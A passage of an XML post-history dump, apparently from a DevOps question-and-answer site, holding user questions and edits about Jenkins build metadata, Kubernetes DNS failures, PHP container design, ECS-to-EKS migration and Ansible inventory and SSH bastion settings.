  <row Id="40838" PostHistoryTypeId="2" PostId="13262" RevisionGUID="64ee6e15-63a1-4727-a7de-992e69d5f490" CreationDate="2021-01-31T16:36:51.710" UserId="25605" Text="Is there a way to store custom information, for example my staging environment ID. I need this information for cleanup purposes later after the staging environment is no longer needed.&#xD;&#xA;&#xD;&#xA;Ideally, I want a database table where I have these columns, `buildName`, `buildCommit`, `pullRequest`.&#xD;&#xA;&#xD;&#xA;Then when the pull request is closed/merged I can simply find all `buildName`s and `buildCommits` &#xD;&#xA; for that pull request and remove them." ContentLicense="CC BY-SA 4.0" />
  <row Id="40839" PostHistoryTypeId="1" PostId="13262" RevisionGUID="64ee6e15-63a1-4727-a7de-992e69d5f490" CreationDate="2021-01-31T16:36:51.710" UserId="25605" Text="Jenkins: store build information for later reference" ContentLicense="CC BY-SA 4.0" />
  <row Id="40840" PostHistoryTypeId="3" PostId="13262" RevisionGUID="64ee6e15-63a1-4727-a7de-992e69d5f490" CreationDate="2021-01-31T16:36:51.710" UserId="25605" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40841" PostHistoryTypeId="2" PostId="13263" RevisionGUID="86a9a1e0-d64b-4ede-8a57-6da27334f5c4" CreationDate="2021-01-31T16:44:51.617" UserId="22892" Text="In most case in jenkins yaml is not used all command are written in grove, on the fly you can create some snippets using jenkins pipeline syntax generator in order to understand better check documantation [https://www.jenkins.io/doc/book/pipeline/getting-started/#snippet-generator][1] it is not like in you run one command like kubectl create deployment and whole manifest is defined also you can use blue ocean editor which is much better for creating pipeline. there are some implementation of yaml pipelines but they are not widely used check this posts&#xD;&#xA;&#xD;&#xA;https://plugins.jenkins.io/pipeline-as-yaml/&#xD;&#xA;&#xD;&#xA;https://medium.com/wolox/dynamic-jenkins-pipelines-b04066371fbc&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jenkins.io/doc/book/pipeline/getting-started/#snippet-generator" ContentLicense="CC BY-SA 4.0" />
  <row Id="40842" PostHistoryTypeId="2" PostId="13264" RevisionGUID="f7fc9b0b-c4b4-4a75-8dff-8a2c31d65e3b" CreationDate="2021-01-31T18:19:00.580" UserId="25865" Text="I installed a kubernetes install, with one controller and 3 workers. The nodes can reach the internet, and in-house or external dns, 8.8.8.8, but when I deploy sample pods, the pods cannot resolve. Looking at Kube-dns logs, I see the following below. &#xD;&#xA;&#xD;&#xA;1. the pods can ping external IPS, 8.8.8.8, onprem IPS but they cannot reach via the DNS port 53, error NO ROUTE TO HOST. I believe its an issue with the firewall rules redirecting traffic but do not know enough about this.&#xD;&#xA;&#xD;&#xA;&quot;[ERROR] plugin/errors: 2 checkpoint-api.weave.works. A: read udp 10.32.0.2:38639-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works.mydomain.inside. AAAA: read udp 10.32.0.2:44687-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works.mydomain.inside. A: read udp 10.32.0.2:38885-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works. A: read udp 10.32.0.2:37284-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works. AAAA: read udp 10.32.0.2:49335-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works.mydomain.inside. A: read udp 10.32.0.2:39063-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works. A: read udp 10.32.0.2:47696-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works. AAAA: read udp 10.32.0.2:32876-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works. AAAA: read udp 10.32.0.2:56481-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works. A: read udp 10.32.0.2:50999-&gt;10.10.10.25:53: i/o timeout&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40843" PostHistoryTypeId="1" PostId="13264" RevisionGUID="f7fc9b0b-c4b4-4a75-8dff-8a2c31d65e3b" CreationDate="2021-01-31T18:19:00.580" UserId="25865" Text="Kubernetes dns issue: pods cannot reach DNS server" ContentLicense="CC BY-SA 4.0" />
  <row Id="40844" PostHistoryTypeId="3" PostId="13264" RevisionGUID="f7fc9b0b-c4b4-4a75-8dff-8a2c31d65e3b" CreationDate="2021-01-31T18:19:00.580" UserId="25865" Text="&lt;kubernetes&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40845" PostHistoryTypeId="5" PostId="13260" RevisionGUID="571f03fd-0b59-4426-83da-0f696cb0aca6" CreationDate="2021-01-31T18:44:13.483" UserId="40" Comment="deleted 62 characters in body" Text="It depends on how you connect you slaves via ssh or jnlp, &#xD;&#xA;in any case: check if you are able to connect that slave and try telnet it." ContentLicense="CC BY-SA 4.0" />
  <row Id="40847" PostHistoryTypeId="2" PostId="13265" RevisionGUID="b83ece94-d022-4717-93d9-ad13d5eb50aa" CreationDate="2021-01-31T19:32:43.877" UserId="25867" Text="Im heavily investigating this, and like many people, im discovering that in 2020 there doesn't seem to be so much logic in separating tightly coupled webserver + PHP + app process/code from each other:&#xD;&#xA;&#xD;&#xA;**Two main arguments for separation are scalability and separation of concerns (one process per container).**&#xD;&#xA;&#xD;&#xA;Logically the webserver should only act as webserver and distribute traffic to PHP nodes behind a service that uses a LB.&#xD;&#xA;&#xD;&#xA;This way one container/service serves webserver purpose and serves static files, while proxying the php requests to the php pod which only concerns with PHP. &#xD;&#xA;&#xD;&#xA;And webserver and php pods can scale differently - ie you may need 50-100 PHP pods for a workload, but only 3-4 webserver nodes. So you save on resources. Great!&#xD;&#xA;&#xD;&#xA;**Except in respect to separation of concerns...**&#xD;&#xA;&#xD;&#xA;If the webserver is not going to serve requests to different apps, there is little logic for separation of concerns to different containers - leave aside pods. If the app is coupled with the webserver, you just end up spawning extra webserver pods, with accompanying service and load balancers to go with them.&#xD;&#xA;&#xD;&#xA;On top of that you will have to distribute the app code to both containers or mount them from a NFS bind, or non NFS mount. You will have to deal with all the relevant access and permission stuff, if you put the app code in both pods you will have to deal with static + dynamic file separation, or even end up having to distribute both type of files to both pods. &#xD;&#xA;&#xD;&#xA;Even worse if your app may require webserver being present in the same container - for example if you are doing ssl termination and have to carry over the visitor's actual ip to the php pod, you may end up having to jump through some hoops. While both webserver and php are available in the same container, this can be done through various means.&#xD;&#xA;&#xD;&#xA;When everything is in one container, none of these is necessary. Everything is neatly packed in the same place, no need to track different deployments, services, app codes, replication controllers.&#xD;&#xA;&#xD;&#xA;This kind of singular container/deployment is very advantageous today especially if you are using ingress-nginx or nginx-ingress and hosting many different apps/sites in the same cluster. Each app/site is contained in its own container (imagine different WordPress sites), each site is completely contained in its permissions, access, deployment, version, requirements etc.&#xD;&#xA;&#xD;&#xA;So much that you could even allow apps/sites to customize their runtime environments by providing configuration files for webserver or php from NFS shares or other mounts - ie .htaccess, php.ini etc. Which is a must for hosting different apps since people tend to have different requirements.&#xD;&#xA;&#xD;&#xA;**In respect to performance**&#xD;&#xA;&#xD;&#xA;Today NGINX or Apache require very little resources with event based request handling. For example in my benchmarks, i saw Apache 2 with event mpm requiring only 3-4 MB memory, and a grand total of ~2-3% cpu (out of 1000m requested cpu, ie 1 vcpu) while handling 50-100 concurrent requests per second while serving WordPress.&#xD;&#xA;&#xD;&#xA;The weights of webserver vs PHP pods would differ depending on the app or website of course, and there could definitely be apps which would require such a separation, but for most common web workloads this does not seem necssary.&#xD;&#xA;&#xD;&#xA;So spawning a few Apache pods and then spawning hundred or more PHP pods does not seem to bring much gain. Aside from creating internal cluster network traffic as pods need to communicate with each other and also you create more complication in the app configurations (deployments, services, load balancers etc).&#xD;&#xA;&#xD;&#xA;Another disadvantage of separating containers is that you create two times the services per app. This will reflect on the limits of the cluster you create since services, pods require ip addresses.&#xD;&#xA;&#xD;&#xA;When webserver + PHP +app are in the same container, the webserver can just communicate with php-fpm via file sockets. Which is faster, and creates less network overhead even on loopback interface inside the container, leave aside creating network traffic inside the cluster. Internal network and cpu load saved.&#xD;&#xA;&#xD;&#xA;**In conclusion...**&#xD;&#xA;&#xD;&#xA;For specific purposes, with one Apache 2 or NGINX server distributing requests to different apps on different PHP-FPM clusters, separating concerns would likely be a necessity.&#xD;&#xA;&#xD;&#xA;But in the era of ingress-nginx, this really doesn't seem necessary.&#xD;&#xA;&#xD;&#xA;Especially reduced complexity, portability, saved performance and internal cluster noise, better customization and other benefits gained from packaging tightly coupled server + PHP + app deployments in one single container seem to be too good to pass.&#xD;&#xA;&#xD;&#xA;Furthermore, this even enables shared-hosting like formats in Kubernetes clusters, which seems to open many possibilities.&#xD;&#xA;&#xD;&#xA;I would very much appreciate any input from anyone who had experience in dealing with this choice in between selecting singular container for tightly coupled app vs multiple cointainers, or anyone who did benchmarks on these.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40848" PostHistoryTypeId="50" PostId="10417" RevisionGUID="b4ef4fb4-bf51-4360-a8dd-3b828385b657" CreationDate="2021-01-31T21:00:40.073" UserId="-1" />
  <row Id="40849" PostHistoryTypeId="5" PostId="13265" RevisionGUID="52c33802-30d8-4756-81b4-3b351ceda3e7" CreationDate="2021-01-31T21:44:06.690" UserId="40" Comment="deleted 273 characters in body" Text="I’m heavily investigating this, and like many people, I’m discovering that there doesn't seem to be so much logic in separating tightly coupled webserver + PHP + app process/code from each other:&#xD;&#xA;&#xD;&#xA;**Two main arguments for separation are scalability and separation of concerns (one process per container).**&#xD;&#xA;&#xD;&#xA;Logically the webserver should only act as webserver and distribute traffic to PHP nodes behind a service that uses a LB.&#xD;&#xA;&#xD;&#xA;This way one container/service serves webserver purpose and serves static files, while proxying the php requests to the php pod which only concerns with PHP. &#xD;&#xA;&#xD;&#xA;And webserver and php pods can scale differently - ie you may need 50-100 PHP pods for a workload, but only 3-4 webserver nodes. So you save on resources. Great!&#xD;&#xA;&#xD;&#xA;**Except in respect to separation of concerns...**&#xD;&#xA;&#xD;&#xA;If the webserver is not going to serve requests to different apps, there is little logic for separation of concerns to different containers - leave aside pods. If the app is coupled with the webserver, you just end up spawning extra webserver pods, with accompanying service and load balancers to go with them.&#xD;&#xA;&#xD;&#xA;On top of that you will have to distribute the app code to both containers or mount them from a NFS bind, or non NFS mount. You will have to deal with all the relevant access and permission stuff, if you put the app code in both pods you will have to deal with static + dynamic file separation, or even end up having to distribute both type of files to both pods. &#xD;&#xA;&#xD;&#xA;Even worse if your app may require webserver being present in the same container - for example if you are doing ssl termination and have to carry over the visitor's actual ip to the php pod, you may end up having to jump through some hoops. While both webserver and php are available in the same container, this can be done through various means.&#xD;&#xA;&#xD;&#xA;When everything is in one container, none of these is necessary. Everything is neatly packed in the same place, no need to track different deployments, services, app codes, replication controllers.&#xD;&#xA;&#xD;&#xA;This kind of singular container/deployment is very advantageous today especially if you are using ingress-nginx or nginx-ingress and hosting many different apps/sites in the same cluster. Each app/site is contained in its own container (imagine different WordPress sites), each site is completely contained in its permissions, access, deployment, version, requirements etc.&#xD;&#xA;&#xD;&#xA;So much that you could even allow apps/sites to customize their runtime environments by providing configuration files for webserver or php from NFS shares or other mounts - ie .htaccess, php.ini etc. Which is a must for hosting different apps since people tend to have different requirements.&#xD;&#xA;&#xD;&#xA;**In respect to performance**&#xD;&#xA;&#xD;&#xA;Today NGINX or Apache require very little resources with event based request handling. For example in my benchmarks, i saw Apache 2 with event mpm requiring only 3-4 MB memory, and a grand total of ~2-3% cpu (out of 1000m requested cpu, ie 1 vcpu) while handling 50-100 concurrent requests per second while serving WordPress.&#xD;&#xA;&#xD;&#xA;The weights of webserver vs PHP pods would differ depending on the app or website of course, and there could definitely be apps which would require such a separation, but for most common web workloads this does not seem necssary.&#xD;&#xA;&#xD;&#xA;So spawning a few Apache pods and then spawning hundred or more PHP pods does not seem to bring much gain. Aside from creating internal cluster network traffic as pods need to communicate with each other and also you create more complication in the app configurations (deployments, services, load balancers etc).&#xD;&#xA;&#xD;&#xA;Another disadvantage of separating containers is that you create two times the services per app. This will reflect on the limits of the cluster you create since services, pods require ip addresses.&#xD;&#xA;&#xD;&#xA;When webserver + PHP +app are in the same container, the webserver can just communicate with php-fpm via file sockets. Which is faster, and creates less network overhead even on loopback interface inside the container, leave aside creating network traffic inside the cluster. Internal network and cpu load saved.&#xD;&#xA;&#xD;&#xA;**In conclusion...**&#xD;&#xA;&#xD;&#xA;For specific purposes, with one Apache 2 or NGINX server distributing requests to different apps on different PHP-FPM clusters, separating concerns would likely be a necessity.&#xD;&#xA;&#xD;&#xA;But in the era of ingress-nginx, this really doesn't seem necessary.&#xD;&#xA;&#xD;&#xA;Especially reduced complexity, portability, saved performance and internal cluster noise, better customization and other benefits gained from packaging tightly coupled server + PHP + app deployments in one single container seem to be too good to pass.&#xD;&#xA;&#xD;&#xA;Furthermore, this even enables shared-hosting like formats in Kubernetes clusters, which seems to open many possibilities." ContentLicense="CC BY-SA 4.0" />
  <row Id="40850" PostHistoryTypeId="2" PostId="13266" RevisionGUID="41b922a0-42d0-4b03-8168-7660697051ca" CreationDate="2021-01-31T21:50:48.687" UserId="25855" Text="I actually found the solution here: &#xD;&#xA;https://stackoverflow.com/a/64150016/1526406&#xD;&#xA;&#xD;&#xA;Maybe this helps others as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="40851" PostHistoryTypeId="2" PostId="13267" RevisionGUID="341e1fbb-fa7f-460d-8499-547a67a65795" CreationDate="2021-02-01T00:40:55.797" UserId="25868" Text="To add more info to John's answer above: the author of that comparison article updated it at https://www.eficode.com/blog/artifactory-nexus-proget&#xD;&#xA;&#xD;&#xA;From my opinion, I left jFrog and went with Nexus because Nexus free version has all my needs (repo type: Maven, yum, pypi and Docker; feature: proxy repo, private repo, group repo; authentication: LDAP/Active directory).&#xD;&#xA;Since I am neither using CI/CI feature nor opening my repo to the internet, I couldn't (and shouldn't) give any comments on that point." ContentLicense="CC BY-SA 4.0" />
  <row Id="40852" PostHistoryTypeId="50" PostId="5887" RevisionGUID="2b8cd532-9055-41d9-8acd-1e549cedaf5e" CreationDate="2021-02-01T02:03:25.363" UserId="-1" />
  <row Id="40853" PostHistoryTypeId="2" PostId="13268" RevisionGUID="5e2e0a0e-cc56-4c4b-8fb2-3dc4821eaea4" CreationDate="2021-02-01T04:25:52.877" UserId="24678" Text="I just need advise to see if I understand Kubernete's objects correctly in my context.&#xD;&#xA;&#xD;&#xA;I have the following ECS-based infrastructure. &#xD;&#xA; - An `api.mycompany.com` Route53 recored points to the ALB&#xD;&#xA; - ALB `myCompanyAlb-amazonaws-alb.com` with a port 443 listener, with a bunch of listener rules&#xD;&#xA; - The rules go &quot;If path is /some_path/microserviceName/*, forward to `microserviceName-target-group`&quot;&#xD;&#xA; - the `microserviceName-target-group` has the EC2 targets created by ECS that run Docker containers running microserviceName&#xD;&#xA;&#xD;&#xA;IOW if I want to message a `microserviceName`, I send a request to `https://api.mycompany.com/some_path/microserviceName`, so the `api.mycompany.com` route will forward the request to `myCompanyAlb-amazonaws-alb.com`, then forwards it to `microserviceName-target-group` that has targets with the `microserviceName` container running. Make sense?&#xD;&#xA;&#xD;&#xA;So If I want to convert this to a Service-base EKS infra, does the Service replace the function of the ALB, the Deployment the function of a target group, and the pods as a replacement of the targets?&#xD;&#xA;&#xD;&#xA;If so how does the Route53 record point to the service? and how does the service know which deployment to send the message to? IOW how will my traffic flow for `https://api.mycompany.com/some_path/microserviceName` go?&#xD;&#xA;&#xD;&#xA;If I'm totally off-based, how to Services, Deployments and Pods fit into my infra?&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="40854" PostHistoryTypeId="1" PostId="13268" RevisionGUID="5e2e0a0e-cc56-4c4b-8fb2-3dc4821eaea4" CreationDate="2021-02-01T04:25:52.877" UserId="24678" Text="How to convert an ECS infra to an EKS infra?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40855" PostHistoryTypeId="3" PostId="13268" RevisionGUID="5e2e0a0e-cc56-4c4b-8fb2-3dc4821eaea4" CreationDate="2021-02-01T04:25:52.877" UserId="24678" Text="&lt;kubernetes&gt;&lt;amazon-ec2&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40856" PostHistoryTypeId="2" PostId="13269" RevisionGUID="9c9c49c6-9880-47a2-b38b-3afdc26c7398" CreationDate="2021-02-01T07:45:02.480" UserId="17218" Text="I'm trying for hours already to run a docker installation on a specific group of hosts.&#xD;&#xA;&#xD;&#xA;This is my hosts.yml &#xD;&#xA;```&#xD;&#xA;all:&#xD;&#xA;  hosts:&#xD;&#xA;    01-dev:&#xD;&#xA;      ansible_host: &lt;IP1&gt;&#xD;&#xA;    02-dev:&#xD;&#xA;      ansible_host: &lt;IP2&gt;&#xD;&#xA;    03-dev:&#xD;&#xA;      ansible_host: &lt;IP3&gt;&#xD;&#xA;&#xD;&#xA;  children:&#xD;&#xA;    docker:&#xD;&#xA;      hosts:&#xD;&#xA;        01-dev&#xD;&#xA;        02-dev&#xD;&#xA;    dev:&#xD;&#xA;      hosts:&#xD;&#xA;        01-dev&#xD;&#xA;        02-dev&#xD;&#xA;        03-dev&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This is my site.yml&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;- name: Configure hosts&#xD;&#xA;  hosts: dev&#xD;&#xA;  tasks:&#xD;&#xA;    - name: Update and upgrade apt packages&#xD;&#xA;      become: true&#xD;&#xA;      apt:&#xD;&#xA;        upgrade: yes&#xD;&#xA;        update_cache: yes&#xD;&#xA;        cache_valid_time: 86400 #One day&#xD;&#xA;    - name: Install needed network manager libs&#xD;&#xA;      become: yes&#xD;&#xA;      ansible.builtin.package:&#xD;&#xA;        name:&#xD;&#xA;          - network-manager&#xD;&#xA;        state: present&#xD;&#xA;    - name: &quot;Configuring eth&quot;&#xD;&#xA;      become: yes&#xD;&#xA;      community.general.nmcli:&#xD;&#xA;        conn_name: &quot;System ens18&quot;&#xD;&#xA;        ifname: ens18&#xD;&#xA;        type: ethernet&#xD;&#xA;        state: present&#xD;&#xA;        autoconnect: yes&#xD;&#xA;        ip4: &quot;{{ansible_host}}/24&quot;&#xD;&#xA;        gw4: &quot;192.168.3.1&quot;&#xD;&#xA;&#xD;&#xA;  hosts: docker&#xD;&#xA;  become: true&#xD;&#xA;  tasks:&#xD;&#xA;    - name: Install aptitude using apt&#xD;&#xA;      apt: name=aptitude state=latest update_cache=yes force_apt_get=yes&#xD;&#xA;&#xD;&#xA;    - name: Install required system packages&#xD;&#xA;      apt: name={{ item }} state=latest update_cache=yes&#xD;&#xA;      loop: [ 'apt-transport-https', 'ca-certificates', 'curl', 'software-properties-common', 'python3-pip', 'virtualenv', 'python3-setuptools']&#xD;&#xA;&#xD;&#xA;    - name: Add Docker GPG apt Key&#xD;&#xA;      apt_key:&#xD;&#xA;        url: https://download.docker.com/linux/ubuntu/gpg&#xD;&#xA;        state: present&#xD;&#xA;&#xD;&#xA;    - name: Add Docker Repository&#xD;&#xA;      apt_repository:&#xD;&#xA;        repo: deb https://download.docker.com/linux/ubuntu bionic stable&#xD;&#xA;        state: present&#xD;&#xA;&#xD;&#xA;    - name: Update apt and install docker-ce&#xD;&#xA;      apt: update_cache=yes name=docker-ce state=latest&#xD;&#xA;&#xD;&#xA;    - name: Install Docker Module for Python&#xD;&#xA;      pip:&#xD;&#xA;        name: docker&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then I run the command `ansible-playbook -i hosts.yml site.yml -vvv --ask-become-pass` and I get the error that there are no hosts for a group `docker`&#xD;&#xA;&#xD;&#xA;What is wrong with my hosts file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40857" PostHistoryTypeId="1" PostId="13269" RevisionGUID="9c9c49c6-9880-47a2-b38b-3afdc26c7398" CreationDate="2021-02-01T07:45:02.480" UserId="17218" Text="Ansible hosts group reference does not work" ContentLicense="CC BY-SA 4.0" />
  <row Id="40858" PostHistoryTypeId="3" PostId="13269" RevisionGUID="9c9c49c6-9880-47a2-b38b-3afdc26c7398" CreationDate="2021-02-01T07:45:02.480" UserId="17218" Text="&lt;docker&gt;&lt;ansible&gt;&lt;ubuntu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40859" PostHistoryTypeId="5" PostId="13265" RevisionGUID="37d75f9a-005e-43bf-92d5-2d676979b854" CreationDate="2021-02-01T09:47:59.600" UserId="25867" Comment="corrected pods to services" Text="Im heavily investigating this, and like many people, im discovering that in 2020 there doesn't seem to be so much logic in separating tightly coupled webserver + PHP + app process/code from each other:&#xD;&#xA;&#xD;&#xA;**Two main arguments for separation are scalability and separation of concerns (one process per container).**&#xD;&#xA;&#xD;&#xA;Logically the webserver should only act as webserver and distribute traffic to PHP nodes behind a service that uses a LB.&#xD;&#xA;&#xD;&#xA;This way one container/service serves webserver purpose and serves static files, while proxying the php requests to the php pod which only concerns with PHP. &#xD;&#xA;&#xD;&#xA;And webserver and php pods can scale differently - ie you may need 50-100 PHP pods for a workload, but only 3-4 webserver nodes. So you save on resources. Great!&#xD;&#xA;&#xD;&#xA;**Except in respect to separation of concerns...**&#xD;&#xA;&#xD;&#xA;If the webserver is not going to serve requests to different apps, there is little logic for separation of concerns to different containers - leave aside services. If the app is coupled with the webserver, you just end up spawning extra webserver pods, with accompanying service and load balancers to go with them.&#xD;&#xA;&#xD;&#xA;On top of that you will have to distribute the app code to both containers or mount them from a NFS bind, or non NFS mount. You will have to deal with all the relevant access and permission stuff, if you put the app code in both pods you will have to deal with static + dynamic file separation, or even end up having to distribute both type of files to both pods. &#xD;&#xA;&#xD;&#xA;Even worse if your app may require webserver being present in the same container - for example if you are doing ssl termination and have to carry over the visitor's actual ip to the php pod, you may end up having to jump through some hoops. While both webserver and php are available in the same container, this can be done through various means.&#xD;&#xA;&#xD;&#xA;When everything is in one container, none of these is necessary. Everything is neatly packed in the same place, no need to track different deployments, services, app codes, replication controllers.&#xD;&#xA;&#xD;&#xA;This kind of singular container/deployment is very advantageous today especially if you are using ingress-nginx or nginx-ingress and hosting many different apps/sites in the same cluster. Each app/site is contained in its own container (imagine different WordPress sites), each site is completely contained in its permissions, access, deployment, version, requirements etc.&#xD;&#xA;&#xD;&#xA;So much that you could even allow apps/sites to customize their runtime environments by providing configuration files for webserver or php from NFS shares or other mounts - ie .htaccess, php.ini etc. Which is a must for hosting different apps since people tend to have different requirements.&#xD;&#xA;&#xD;&#xA;**In respect to performance**&#xD;&#xA;&#xD;&#xA;Today NGINX or Apache require very little resources with event based request handling. For example in my benchmarks, i saw Apache 2 with event mpm requiring only 3-4 MB memory, and a grand total of ~2-3% cpu (out of 1000m requested cpu, ie 1 vcpu) while handling 50-100 concurrent requests per second while serving WordPress.&#xD;&#xA;&#xD;&#xA;The weights of webserver vs PHP pods would differ depending on the app or website of course, and there could definitely be apps which would require such a separation, but for most common web workloads this does not seem necssary.&#xD;&#xA;&#xD;&#xA;So spawning a few Apache pods and then spawning hundred or more PHP pods does not seem to bring much gain. Aside from creating internal cluster network traffic as pods need to communicate with each other and also you create more complication in the app configurations (deployments, services, load balancers etc).&#xD;&#xA;&#xD;&#xA;Another disadvantage of separating containers is that you create two times the services per app. This will reflect on the limits of the cluster you create since services, pods require ip addresses.&#xD;&#xA;&#xD;&#xA;When webserver + PHP +app are in the same container, the webserver can just communicate with php-fpm via file sockets. Which is faster, and creates less network overhead even on loopback interface inside the container, leave aside creating network traffic inside the cluster. Internal network and cpu load saved.&#xD;&#xA;&#xD;&#xA;**In conclusion...**&#xD;&#xA;&#xD;&#xA;For specific purposes, with one Apache 2 or NGINX server distributing requests to different apps on different PHP-FPM clusters, separating concerns would likely be a necessity.&#xD;&#xA;&#xD;&#xA;But in the era of ingress-nginx, this really doesn't seem necessary.&#xD;&#xA;&#xD;&#xA;Especially reduced complexity, portability, saved performance and internal cluster noise, better customization and other benefits gained from packaging tightly coupled server + PHP + app deployments in one single container seem to be too good to pass.&#xD;&#xA;&#xD;&#xA;Furthermore, this even enables shared-hosting like formats in Kubernetes clusters, which seems to open many possibilities.&#xD;&#xA;&#xD;&#xA;I would very much appreciate any input from anyone who had experience in dealing with this choice in between selecting singular container for tightly coupled app vs multiple cointainers, or anyone who did benchmarks on these.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40860" PostHistoryTypeId="2" PostId="13270" RevisionGUID="291380bd-30a9-4d77-97d8-158d72faf513" CreationDate="2021-02-01T10:30:24.003" UserId="17486" Text="You defined multiple `ansible_ssh_common_args` vars per host. That does'nt work. Ansible will use only one of it (I asume the last). Also you try to reach the bastion host via 10.1.0.49 (but you do not mention that in your question). I think, the second `ansible_ssh_common_args` in the hostvars of `bastion` is wrong.&#xD;&#xA;&#xD;&#xA;You could have this vars...&#xD;&#xA;&#xD;&#xA;    [bastions:vars]&#xD;&#xA;    ansible_ssh_common_args='-o StrictHostKeyChecking=no'&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;    [jenkins:vars]&#xD;&#xA;    ansible_ssh_common_args: '-o StrictHostKeyChecking=no -o ProxyCommand=&quot;ssh -o StrictHostKeyChecking=no -W [%h]:%p -q ubuntu@10.1.0.49&quot;'&#xD;&#xA;&#xD;&#xA;Also - just a notice - ignoring the host key is not very &quot;secure&quot; - especially when you use a bastion host (which is more or less a man-in-the-middle which you need to trust)." ContentLicense="CC BY-SA 4.0" />
  <row Id="40862" PostHistoryTypeId="4" PostId="6126" RevisionGUID="3430bdc8-5ad9-4235-b3dd-5f0a53537e48" CreationDate="2021-02-01T15:42:58.390" UserId="11125" Comment="this is declarative pipeline (starts with pipeline directive), scripted starts with node()" Text="How to define variable in Jenkins declarative pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40863" PostHistoryTypeId="24" PostId="6126" RevisionGUID="3430bdc8-5ad9-4235-b3dd-5f0a53537e48" CreationDate="2021-02-01T15:42:58.390" Comment="Proposed by 11125 approved by 40 edit id of 1335" ContentLicense="CC BY-SA 4.0" />
  <row Id="40876" PostHistoryTypeId="4" PostId="13247" RevisionGUID="85e8bd73-fbc4-4a66-808c-26bcd8ce6b8c" CreationDate="2021-02-02T07:38:31.443" UserId="25831" Comment="Clarification" Text="How to configure Bitbucket Build Status Notifier Jenkins plugin to connect to BitBucket Cloud for Jenkins Pipeline projects" ContentLicense="CC BY-SA 4.0" />
  <row Id="40877" PostHistoryTypeId="2" PostId="13274" RevisionGUID="66e33231-5dbf-4434-b7bb-b78984d58973" CreationDate="2021-02-02T09:01:35.077" UserId="18060" Text="This is what [source blocks][1] are for in HCL2. I've been using this approach recently (define builder in a source block, then use it from various build blocks, filling in the variables as needed) and believe this to be the new best practice / idiom.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.packer.io/docs/from-1.5/blocks/source" ContentLicense="CC BY-SA 4.0" />
  <row Id="40878" PostHistoryTypeId="5" PostId="13264" RevisionGUID="dfacab5d-b8ae-492c-b85f-cc4471ab42f1" CreationDate="2021-02-02T09:26:52.080" UserId="6308" Comment="grammer fixed" Text="I installed kubernetes cluster with one controller and 3 workers nodes. The nodes can reach the internet in-house DNS and external DNS ( 8.8.8.8). But when I deploy sample pods, the pods cannot resolve. &#xD;&#xA;&#xD;&#xA;The pods can ping external IPS, 8.8.8.8, on-prem IPS but they cannot reach via the DNS port 53 -  error NO ROUTE TO HOST. I believe it's an issue with the firewall rules redirecting traffic but do not know enough about this.&#xD;&#xA;&#xD;&#xA;Looking at Kube-DNS logs, I see the following below. &#xD;&#xA;&#xD;&#xA;```[ERROR] plugin/errors: 2 checkpoint-api.weave.works. A: read udp 10.32.0.2:38639-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works.mydomain.inside. AAAA: read udp 10.32.0.2:44687-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works.mydomain.inside. A: read udp 10.32.0.2:38885-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works. A: read udp 10.32.0.2:37284-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works. AAAA: read udp 10.32.0.2:49335-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works.mydomain.inside. A: read udp 10.32.0.2:39063-&gt;10.10.10.25:53: i/o timeout&#xD;&#xA;[ERROR] plugin/errors: 2 checkpoint-api.weave.works. A: read udp 